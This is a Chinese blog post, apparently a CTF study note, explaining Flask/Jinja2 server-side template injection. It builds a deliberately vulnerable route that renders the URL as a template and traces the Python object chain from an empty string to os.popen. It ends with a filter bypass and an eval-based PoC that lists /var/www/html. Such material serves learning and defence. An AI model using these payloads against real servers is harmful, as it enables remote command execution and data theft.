flask模板注入(SSTI)
之前打ctf,遇到模板注入都是一梭子拿着payload就打。也没研究过payload到底是什么意思。于是来补一补。。
环境搭建
1 | IDE: Pycharm |
如果安装好了flask环境,就可以直接RUN了
flask默认监听的是5000端口。
访问127.0.0.1:5000
装饰路由
编写
1 | @app.route('/ssit/<username>') |
这样,可以动态获取用户的输入
访问 127.0.0.1:5000/ssit/hu3sky
模板渲染
当我们写render_template
去渲染模板时,一般不会造成模板注入
但是
有的人因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url
是可控的,于是,当有如下代码
1 | @app.route('/ssit') |
当我传入
显然 传入{{10\*40}}
时 ,造成了模板注入
payload利用
在python环境中输入
1 | >>> "".__class__ |
可见 返回了空字符串的类型,
在python中,每个类都有一个bases属性,列出其基类
1 | >>> "".__class__.__base__ |
我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro
1 | >>> "".__class__.__mro__ |
可以看到返回了(<class 'str'>, <class 'object'>)
,同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势
1 | >>> "".__class__.__mro__[0] |
通过mro获得object
接着可以使用subclasses()这个方法返回子类的集合
也就是object类的子类的集合。
1 | >>> "".__class__.__mro__[1].__subclasses__() |
获取到了大量的子类。
接下来就是寻找我们所需要的子类,然后从中获取我们所需要的方法
比如使用
1 | <class 'os._wrap_close'> |
然后用index函数找出该函数在子类里的位置
1 | >>> "".__class__.__mro__[1].__subclasses__().index(os._wrap_close) |
得到位置是37
1 | >>> "".__class__.__mro__[1].__subclasses__()[37] |
这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
1 | >>> "".__class__.__mro__[1].__subclasses__()[37].__init__.__globals__ |
我们找其中一个可利用的function popen
1 | >>> "".__class__.__mro__[1].__subclasses__()[37].__init__.__globals__['popen']('dir').read() |
CTF之绕过
ctf中,经常会有一些过滤
比如
过滤subclasses
拼接
1 | '__sub'+'classes__()' |
一些poc
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) |